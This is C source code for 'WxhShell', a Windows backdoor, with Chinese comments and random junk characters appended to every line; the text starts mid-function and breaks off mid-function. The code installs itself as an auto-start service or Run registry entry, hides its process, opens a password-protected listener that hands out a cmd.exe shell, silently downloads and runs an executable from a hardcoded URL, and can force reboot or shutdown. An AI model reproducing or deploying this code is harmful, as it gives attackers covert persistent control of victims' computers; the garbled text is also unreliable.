    if(Boot(SHUTDOWN)) 8$")%_1]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9!6f-K  
    else { ]JCvyz H  
    closesocket(wsh); zz+$=(T:M  
    ExitThread(0); KC/=TSSXd.  
    } -m)X]]~C  
    break; r[2ILe  
    } }Ga\wV  
  // 获取shell gRCdY8GH  
  case 's': { 6g|*`x{  
    CmdShell(wsh); d ^^bke$~  
    closesocket(wsh); C`$n[kCJ  
    ExitThread(0); l n{e1':$"  
    break; 8K.R=  
  } aoTM  
  // 退出 dYT%  
  case 'x': { SQ44  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^Y=\#-Dd  
    CloseIt(wsh); k3u "A_"c  
    break; G0/4JSH  
    } [<2<Y  
  // 离开 P^ A!.}d  
  case 'q': { {9?JjA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uD}2<$PP  
    closesocket(wsh); fmQ_P.c  
    WSACleanup(); iL7DRQ1  
    exit(1); R9'b-5q  
    break; Jy)KqdkX+  
        } D ~stM  
  } kO,zZF&  
  } V}J)\VZ2#  
w1hPc!I  
  // 提示信息 Z3#P,y9@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U}6B*Xx'  
} 6ys &zy  
  } iI\oz&!vH  
[0(B>a3J  
  return; S0B|#O%Z  
} % W=b? :  
`);AW(Q  
// shell模块句柄 Xnz3p"  
int CmdShell(SOCKET sock) GNgKo]u  
{ W ?qmp|YD  
STARTUPINFO si; "Om=N@?  
ZeroMemory(&si,sizeof(si)); q@Zn|NR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9f2UgNqe9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v>$'iT~l  
PROCESS_INFORMATION ProcessInfo; >hPQRd  
char cmdline[]="cmd"; SOIHePmwK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1M}5>V{  
  return 0; /.3}aj;6  
} G f,`  
IEXt:  
// 自身启动模式 '9S8}q  
int StartFromService(void) UELy"z R  
{ x,rlrxI  
typedef struct >64P6P;S  
{ uEktQ_u[  
  DWORD ExitStatus; +@94;me  
  DWORD PebBaseAddress; 8"U. Hnu  
  DWORD AffinityMask; G`n_YH084  
  DWORD BasePriority; <L"GqNuRQ  
  ULONG UniqueProcessId; v{(^1cX  
  ULONG InheritedFromUniqueProcessId; 7uKNd *%  
}   PROCESS_BASIC_INFORMATION; { &"CH]r  
spdvZU=}  
PROCNTQSIP NtQueryInformationProcess; U> cV|  
\!k1a^ZP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d/ARm-D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eZSNNgD<:  
=osv3>&q  
  HANDLE             hProcess; &7`^i.fh)  
  PROCESS_BASIC_INFORMATION pbi; YpH&<$x:  
SSPHhAeH8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A Y*e@nk\  
  if(NULL == hInst ) return 0; UaWl6 Y&Vu  
"Q!(52_@J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~Lm$i6E <  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;%<,IdhN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t; 4]cg:_  
?)kGA$m#  
  if (!NtQueryInformationProcess) return 0; i(AT8Bo2  
_JHd9)[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VtnRgdJ  
  if(!hProcess) return 0; `+o 2DA)#(  
)Qe~ 8u@?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %/|9@er  
W+PJZn  
  CloseHandle(hProcess); kMb}1J0i"  
)6q,>whI]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); # WAZ9,t  
if(hProcess==NULL) return 0; YE|SKx@  
Tw""}|] g  
HMODULE hMod; F({HP)9b  
char procName[255]; Fh`~`eog  
unsigned long cbNeeded; /W>iJfx  
$oj:e?8N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #~7ip\Uf[  
Bwa'`+bC  
  CloseHandle(hProcess); KVn []@#  
i+p^ ^t\  
if(strstr(procName,"services")) return 1; // 以服务启动 )TVFtI=,NN  
mS~o?q-n  
  return 0; // 注册表启动 *v9 2  
} `(YxI  
umiBj)r  
// 主模块 E%r k[wI  
int StartWxhshell(LPSTR lpCmdLine) 'eLqlu|T  
{ M_"L9^^>N  
  SOCKET wsl; )L#i%)+  
BOOL val=TRUE; !a7[ 8&  
  int port=0; swM*k;$q{  
  struct sockaddr_in door; AS =?@2 q  
^>jwh  
  if(wscfg.ws_autoins) Install(); &3bx `C  
.?R!DYC`  
port=atoi(lpCmdLine); T)H{  
H5Z$*4%G  
if(port<=0) port=wscfg.ws_port; $, ,op(  
Jtr"NS?a]  
  WSADATA data; IF44F3(V4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "uaMk}[ <!  
lfqiyYFm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9y<*8bI   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $npT[~U5  
  door.sin_family = AF_INET; Dp)=0<$y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sg$rzT-S4  
  door.sin_port = htons(port); Tk5W'p|6f  
_F$aUtb%O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5]AC*2(  
closesocket(wsl); f33l$pOp  
return 1; - `p4-J!Fy  
} n[G&ksQI  
"Y~:|?(@-  
  if(listen(wsl,2) == INVALID_SOCKET) { >'&p>Ad)  
closesocket(wsl); cc~O&?)i  
return 1; n=y[CKS  
} 4\Tl\SZ?  
  Wxhshell(wsl); P} 0%-JC  
  WSACleanup(); I'uSp-Sfy  
mt,OniU=Q  
return 0; M<kj_.  
B56L1^ 7  
} hRUhX[  
{(r`k;fB  
// 以NT服务方式启动 FB{KH .  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C -\S/yd  
{ ;<j0f~G`  
DWORD   status = 0; 9 }PhN<Gd  
  DWORD   specificError = 0xfffffff; i*/Yz*<  
f;W|\z'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }a/x._[s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J&.{7YF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PIdikA  
  serviceStatus.dwWin32ExitCode     = 0; ? 4q4J8j  
  serviceStatus.dwServiceSpecificExitCode = 0; ;[=8B \?  
  serviceStatus.dwCheckPoint       = 0; Bq D'8zLD  
  serviceStatus.dwWaitHint       = 0; ^j31S*f&:  
+^=8ge}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 56zL"TF`  
  if (hServiceStatusHandle==0) return; kXi6lh  
B?'#4J  
status = GetLastError(); =;2%a(  
  if (status!=NO_ERROR) {L/tst#C  
{ Y@N,qHtz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SqEgn}m$  
    serviceStatus.dwCheckPoint       = 0; "1 L$|  
    serviceStatus.dwWaitHint       = 0; G(p`1~xm  
    serviceStatus.dwWin32ExitCode     = status; Wu[&Wv~  
    serviceStatus.dwServiceSpecificExitCode = specificError; { g/0x,-Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /v- 6WSN  
    return; &#!4XOyB  
  } }:us:%  
@?yX!_YC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '>cKH$nVC}  
  serviceStatus.dwCheckPoint       = 0; NQ(1   
  serviceStatus.dwWaitHint       = 0; 3%E }JU?MM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [AYOYENp-  
} MvK !u  
lDYyqG4  
// 处理NT服务事件,比如:启动、停止 0 q} *S~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =5/9%P8j9  
{ JtEo'As:[  
switch(fdwControl) mH%yGBp_  
{ [5G6VNh=  
case SERVICE_CONTROL_STOP: m[~V/N3  
  serviceStatus.dwWin32ExitCode = 0; j bVECi-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8Kg n"M3  
  serviceStatus.dwCheckPoint   = 0; 3I)VHMC  
  serviceStatus.dwWaitHint     = 0; *K|W /'_&  
  { * w?N{.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *>|gxM8  
  } + +M$#Er&  
  return; 'ig&$fzb  
case SERVICE_CONTROL_PAUSE: @k,z:~[C=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /Z~<CbKKl  
  break; wy0tgy(' |  
case SERVICE_CONTROL_CONTINUE: 8$6Y{$&C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V@zg}C|e  
  break; i BF|&h(\  
case SERVICE_CONTROL_INTERROGATE: ^@3sT,M,S  
  break; sz:g,}~h  
}; fVF2-Rh=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n>ULRgiT:o  
} yeXx',]a  
A mNW0.}  
// 标准应用程序主函数 #gRM i)(F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l_o@miG/  
{ [DJ|`^eKD  
-I8=T]_D  
// 获取操作系统版本 K@I D/]PF  
OsIsNt=GetOsVer(); #$18*?tLv|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }4 )H   
d:BG#\e]v  
  // 从命令行安装 Yw^m  
  if(strpbrk(lpCmdLine,"iI")) Install(); wSa)*]%  
&dM. d!  
  // 下载执行文件 A#.edVj.g4  
if(wscfg.ws_downexe) { ,K)_OVB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w_.F' E  
  WinExec(wscfg.ws_filenam,SW_HIDE); mq@6Q\Z+  
} ii T"5`KY  
9oYgl1}d  
if(!OsIsNt) { * @ 3Ag(  
// 如果时win9x,隐藏进程并且设置为注册表启动 K#6P}tf  
HideProc(); &J[:awQX  
StartWxhshell(lpCmdLine); "iy  
} %zG;Q@  
else w65K[l;2  
  if(StartFromService()) 1S{D6#bE  
  // 以服务方式启动 J]{QB^?  
  StartServiceCtrlDispatcher(DispatchTable); ]^h]t~  
else  Uwf +  
  // 普通方式启动 yv t.  
  StartWxhshell(lpCmdLine); ]A~WIF  
[<n2Uz7MP  
return 0; (}Z@R#njH  
} */sS`/Lx  
ojcA<60 '  
8aK)#tNWN  
[tlI!~Z  
=========================================== Bt@^+vH ~  
Q# ~Q=T'<  
_K]_ @Ivh  
|2O]R s  
.+PI}[g  
u+Y\6~=+  
" %|auAq&w  
fObg3S92  
#include <stdio.h> Hx"ob_^'7  
#include <string.h> nV"~-On  
#include <windows.h> CAfGH!l!  
#include <winsock2.h> ((H^2KJn  
#include <winsvc.h> t<#TJ>Le  
#include <urlmon.h> th  
L-ET<'u  
#pragma comment (lib, "Ws2_32.lib") 3O,+=?VK  
#pragma comment (lib, "urlmon.lib") Ro\8ZXUQa  
{m4b(t`xw  
#define MAX_USER   100 // 最大客户端连接数 |]jb& M  
#define BUF_SOCK   200 // sock buffer J"!vu.[  
#define KEY_BUFF   255 // 输入 buffer '~5LY!H(pT  
NCiW^#b  
#define REBOOT     0   // 重启 *Fy2BZH%Q  
#define SHUTDOWN   1   // 关机 |,S+@"0#  
\:b3~%Fz  
#define DEF_PORT   5000 // 监听端口 >")Tf6zw&  
z>LUH  
#define REG_LEN     16   // 注册表键长度 Nv#t:J9f  
#define SVC_LEN     80   // NT服务名长度 ;Y 00TGU  
2^r <{0@n  
// 从dll定义API 6</xL9#/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zBCtd1Xrni  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A 9( x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /a{la8Ni  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); * aN  
,k24w7K%d  
// wxhshell配置信息 V3&RJ k=b  
struct WSCFG { &Y!-%{e  
  int ws_port;         // 监听端口 IdzxS  
  char ws_passstr[REG_LEN]; // 口令 v:IpMU-+\  
  int ws_autoins;       // 安装标记, 1=yes 0=no WffQ:L?  
  char ws_regname[REG_LEN]; // 注册表键名 &-;4.op  
  char ws_svcname[REG_LEN]; // 服务名 zNs55e.rx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yMG1XEhuG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (ceNO4"cZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X3{G:H0\p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yQ U{ zY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .CL[_;}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /NLui@|R  
h{CL{>d  
}; =#;3Q~:Jl^  
\K5DOM "#  
// default Wxhshell configuration 8L, 5Q9 $  
struct WSCFG wscfg={DEF_PORT, MV5_L3M  
    "xuhuanlingzhe", J=\HO8E6>  
    1, 5&QJ7B,!  
    "Wxhshell", pV9IHs}  
    "Wxhshell", C_( *>!Z%  
            "WxhShell Service", caU0\VS  
    "Wrsky Windows CmdShell Service", '9laa=H%8  
    "Please Input Your Password: ", fa-IhB1!K  
  1, N@2dA*T,  
  "http://www.wrsky.com/wxhshell.exe", \z>fb%YW  
  "Wxhshell.exe" `nUXDmdwzO  
    }; ),0g~'I~D  
d?ex,f.  
// 消息定义模块 @:j}Jmg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SzAJ2:qhl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B~6&{7 xc%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P Y_u/<u  
char *msg_ws_ext="\n\rExit."; 34`'M+3  
char *msg_ws_end="\n\rQuit."; N nRD|A  
char *msg_ws_boot="\n\rReboot..."; Nkjza:f{  
char *msg_ws_poff="\n\rShutdown..."; *T- <|zQ  
char *msg_ws_down="\n\rSave to "; {o)Lc6T8s  
qz+dmef  
char *msg_ws_err="\n\rErr!"; H['N  
char *msg_ws_ok="\n\rOK!"; Vy6qbC-Kt  
VyXKZ%\dQ/  
char ExeFile[MAX_PATH]; _G[g;$ <  
int nUser = 0; i5en*)O8  
HANDLE handles[MAX_USER]; ~FZ&.<s  
int OsIsNt; x u>9(,l  
V_R@o3kv;  
SERVICE_STATUS       serviceStatus; xR-%L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F0pir(n-  
hcgMZT!<5  
// 函数声明 9%k2'iV7  
int Install(void); lsgh#x  
int Uninstall(void); ],>@";9u"  
int DownloadFile(char *sURL, SOCKET wsh); ?~l6K(*2  
int Boot(int flag); a+[RS]le  
void HideProc(void); SOs:]U-T3  
int GetOsVer(void); SbND Y{5RO  
int Wxhshell(SOCKET wsl); !F*5M1Kjd  
void TalkWithClient(void *cs); c' ^?/$H|  
int CmdShell(SOCKET sock); wu7Lk3  
int StartFromService(void); srPWE^&  
int StartWxhshell(LPSTR lpCmdLine); 6o!!=}'E[  
p09HL%~R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3r<~Q7e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X@'u y<tI-  
(lXGmx8  
// 数据结构和表定义 TCN8a/@z  
SERVICE_TABLE_ENTRY DispatchTable[] = SAH-p*.  
{ }d[ kxo  
{wscfg.ws_svcname, NTServiceMain}, dV*]f$wQ  
{NULL, NULL} +dWDxguE{w  
}; Y4OPEo5o  
e{h<g>7  
// 自我安装 [/PR\'|  
int Install(void) ")_|69 VX  
{  Hu^1[#  
  char svExeFile[MAX_PATH]; l\E%+?K+^  
  HKEY key; 3oBtP<yG.  
  strcpy(svExeFile,ExeFile); $'0u|Xy`  
%r<rcY  
// 如果是win9x系统,修改注册表设为自启动 NC8t) X7  
if(!OsIsNt) { 0m7Y>0wC6T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S(o#K|)>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9?A)n4b;  
  RegCloseKey(key); k o5@qNq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #Z}Rf k(~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bz_^~b7  
  RegCloseKey(key); gD0eFTN  
  return 0; ~t@cO.c  
    } \6S7T$$ 1m  
  } &X`C%h  
} a_[Eh fE  
else { GSY(  
QEm|])V  
// 如果是NT以上系统,安装为系统服务 d)"3K6s|5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tf =6\p  
if (schSCManager!=0) !!qK=V|>  
{ 0v6)t.]s  
  SC_HANDLE schService = CreateService 6h>wt-tRC  
  ( Rh3eLt~|(  
  schSCManager, }elc `jj  
  wscfg.ws_svcname, ~< P 0]ju  
  wscfg.ws_svcdisp, a[v0%W ]u  
  SERVICE_ALL_ACCESS, 5uGqX"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZWii)0'PV  
  SERVICE_AUTO_START, t#yk ->,  
  SERVICE_ERROR_NORMAL, O1rvaOlr  
  svExeFile, NWP5If|'X  
  NULL, -B>++r2A^  
  NULL, 214Ml0/%  
  NULL, ,ZKr .`B  
  NULL, LZ\q3 7UV  
  NULL MV! {j;g1<  
  ); +cWLjPD/}  
  if (schService!=0) PvR6 z0  
  { `0rd26Qro  
  CloseServiceHandle(schService); }Dp*}=?E  
  CloseServiceHandle(schSCManager); =AsEZ)" _  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &*sP/z  
  strcat(svExeFile,wscfg.ws_svcname); 68bQ;Dv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *xc_k"\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h~A/y!s  
  RegCloseKey(key); *zNYZ#  
  return 0; V @rI`~$  
    } {qDSPo  
  } 9 ^o-EC!_  
  CloseServiceHandle(schSCManager); VJ84?b{c W  
} pb^i^tA+A  
} m9)p-1y@5  
Dw|}9;5:A  
return 1; uzXCIv@  
} iz5CAxm  
BK*x] zG$  
// 自我卸载 vrl;"Fm+  
int Uninstall(void) d[[]P X  
{ cD@(/$wt  
  HKEY key; )W|w C#  
-T!f,g3vW  
if(!OsIsNt) { ~"dA~[r L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4pe'06:  
  RegDeleteValue(key,wscfg.ws_regname); R FKtr  
  RegCloseKey(key); 6L:x^bM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J`^ag'  
  RegDeleteValue(key,wscfg.ws_regname); 2C2fGYu  
  RegCloseKey(key); ,9?BcD1  
  return 0; ai}mOyJs  
  } >PB4L_1  
} <CRP ^_c  
} QU#w%|  
else { b>_o xK  
#1J &7F1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yi .u"sh]  
if (schSCManager!=0) {2qFY 5H  
{ BMhy=+\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [vge56h  
  if (schService!=0) 832v"k CD  
  { ,/[6e\0~  
  if(DeleteService(schService)!=0) { rMXN[,|v  
  CloseServiceHandle(schService); 6Vww;1 J  
  CloseServiceHandle(schSCManager); 2*rH?dz8E  
  return 0; EQ2#/>  
  } I6~pV@h^=  
  CloseServiceHandle(schService); 2<li7c59  
  } @HT% n  
  CloseServiceHandle(schSCManager); {-ZFp  
} CPgCjtY  
} Yaj0;Lo[wt  
"b?v?V0%C  
return 1; e}mD]O}  
} K )[]fm  
"ZHW2l Mf  
// 从指定url下载文件 |}2 3>l7  
int DownloadFile(char *sURL, SOCKET wsh) `(T,+T4C5k  
{ v. %R}Pa  
  HRESULT hr; a5 *2h{i  
char seps[]= "/"; Y;nZ=9Sw  
char *token; Z 1zVwHa_  
char *file; "~E[)^ANxD  
char myURL[MAX_PATH]; ! N|0x`  
char myFILE[MAX_PATH]; .e3NnOzyxS  
`L:CA5sBud  
strcpy(myURL,sURL); LY6;.d$J  
  token=strtok(myURL,seps); XXbqQhf  
  while(token!=NULL) ag$Vgl  
  { .b\$MZ"(  
    file=token; 3Uqr,0$p  
  token=strtok(NULL,seps); (]_1  
  } 6cpw~  
^?$WVB  
GetCurrentDirectory(MAX_PATH,myFILE); 0- ><q  
strcat(myFILE, "\\"); pkP?i5 ,  
strcat(myFILE, file); e'~Zo9`r6  
  send(wsh,myFILE,strlen(myFILE),0); m7&O9?X  
send(wsh,"...",3,0); ANvRi+ _  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b k|m4|  
  if(hr==S_OK) qL5{f(U4<  
return 0; Jm|+-F@I  
else A"`foI$0  
return 1; %cCs?ic  
=PUt&`1.a  
} j lp:lX  
+${D  
// 系统电源模块 V I,ACj  
int Boot(int flag) }YjX3|8zL=  
{ ";BlIovT=R  
  HANDLE hToken; 9V,!R{kO!  
  TOKEN_PRIVILEGES tkp; :*t"8;O[  
=81@ o,1w  
  if(OsIsNt) { N+zKr/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); : m)   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ib|Rf;J~-  
    tkp.PrivilegeCount = 1; CL)lq)1(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DKfE.p)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :}r.  
if(flag==REBOOT) { uqM yoIc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YWMGB#=  
  return 0; |_}2f  
} Bt1p'g(V|  
else { D6CS8 ~"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hOFOO_byzO  
  return 0; :,WtR  
} eFBeJZuE|  
  } _8Z_`@0  
  else { j>]nK~[ka  
if(flag==REBOOT) { kgy:Q'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p(PMZVV`  
  return 0; PGYXhwOI  
} .w> 4  
else { n"+[ :w4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /R~1Zj2&  
  return 0; k4,BNJt'Z  
} ?6(I V]  
} UJ0<%^f  
Dw=gs{8D  
return 1; WZazJ=27}  
} 3= DNb+D!  
Au{<hQ =  
// win9x进程隐藏模块 ^M%uV  
void HideProc(void) %@;6^=  
{ 0`)iIz  
@S|jC2^+h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H~GQ;PhRx  
  if ( hKernel != NULL ) A 6OGs/:&  
  { Na$Is'F &p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uum;q-"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F.-R r  
    FreeLibrary(hKernel); lE!a  
  } GM<BO8Y.  
zrR`ecC(b  
return; (T>nPbv)  
} rEHkw '  
XO-Prs  
// 获取操作系统版本 u$*56y   
int GetOsVer(void) fGw^:,B  
{ B;R.#^@/  
  OSVERSIONINFO winfo; BYO"u6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); chV9_(8  
  GetVersionEx(&winfo); 6el;Erp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fMGbODAvY  
  return 1; e%4:) IV!;  
  else CNr/U*+  
  return 0; vo\fUT@k  
} 2-=\~<)  
)+6v  
// 客户端句柄模块 psnTFe  
int Wxhshell(SOCKET wsl) K`/`|1  
{ $&$w Y/F  
  SOCKET wsh; S-7'it!1  
  struct sockaddr_in client; D\@m6=L  
  DWORD myID; VR+<v   
l IUuA  
  while(nUser<MAX_USER) GuGOePV  
{ @HRC \OG  
  int nSize=sizeof(client); ,ldI2 ]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [,K.*ZQi  
  if(wsh==INVALID_SOCKET) return 1; CT KG9 T  
VOc8q-hK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %1.]c6U  
if(handles[nUser]==0) \A#1y\ok  
  closesocket(wsh); A#nun  
else :8 jhiB)  
  nUser++; neXeAU  
  } -zp0S*iP7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?OE.O/~l  
k% sO 0  
  return 0; is1's[  
} ;w6>"O$a  
}j2Y5  
// 关闭 socket rC.eyq,105  
void CloseIt(SOCKET wsh) <V7>?U l  
{ {NPuu?&  
closesocket(wsh); Xg=x7\V  
nUser--; GK9/D|h4  
ExitThread(0); %]gn?`O  
} Rw6; Z  
?gO8kPg/D  
// 客户端请求句柄 ~6pr0uyO`  
void TalkWithClient(void *cs) yC3yij<oR  
{ 2:BF[c`  
9Ro6fjjE  
  SOCKET wsh=(SOCKET)cs; \k]x;S<a  
  char pwd[SVC_LEN]; B!dU>0&Ct  
  char cmd[KEY_BUFF]; =/u% c!  
char chr[1]; pG34Qw  
int i,j; V7Z4T6j4  
o]ag"Q  
  while (nUser < MAX_USER) { t~e<z81p  
~_9n.C  
if(wscfg.ws_passstr) { b{d4xU8'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n:0}utU4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < -uc."6\  
  //ZeroMemory(pwd,KEY_BUFF); 'Q =7/dY3I  
      i=0; 2+cNo9f  
  while(i<SVC_LEN) { 9%iUG(DC  
`C_jP|[e  
  // 设置超时 BnCKSg7V  
  fd_set FdRead; ed!:/+3e/  
  struct timeval TimeOut; zF@o2<cD@  
  FD_ZERO(&FdRead); <W`#gn0b6  
  FD_SET(wsh,&FdRead); 4\pWB90V  
  TimeOut.tv_sec=8; RP 2_l$  
  TimeOut.tv_usec=0; WpS1a440  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (faK+z,*6R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %*o8L6Hn  
'qArf   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B d^"=+c4  
  pwd=chr[0]; Fhv2V,nZ<  
  if(chr[0]==0xd || chr[0]==0xa) { T1` |~Z?g-  
  pwd=0; C@Nv;;AlU  
  break; +&X%<S W  
  } }m/RZP~=  
  i++; 2>]a)  
    } T/c<23i  
!Oj)B1gc6&  
  // 如果是非法用户,关闭 socket F$Ca;cP"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c{>uqPTY  
} /w8"=6Vv~  
fQ'.8'>T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uz608u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X53mzs  
x lsqj`=  
while(1) { /({;0I*!i  
Y7GF$}%UL  
  ZeroMemory(cmd,KEY_BUFF); `k; KBW  
rVtw-[p  
      // 自动支持客户端 telnet标准    \dl ph  
  j=0; ]WUC:6x  
  while(j<KEY_BUFF) { >sD4R}\})  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [EY`am8[  
  cmd[j]=chr[0]; p0{EQT`tMG  
  if(chr[0]==0xa || chr[0]==0xd) { a`E*\O'd  
  cmd[j]=0; 6*nAo8gl  
  break; `_5GG3@Ff  
  } 1|ZhPsD.}g  
  j++; 659v\51*  
    } *U=]@I}J  
mPPk )qy  
  // 下载文件 4KI [D{  
  if(strstr(cmd,"http://")) { sM\lO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dQgk.k  
  if(DownloadFile(cmd,wsh)) aV`&L,Q)7E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CKlL~f EL  
  else s$DrR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pi@Xkw  
  } b[@V Ya  
  else { ukuo:P<a  
Jqr)V2Y  
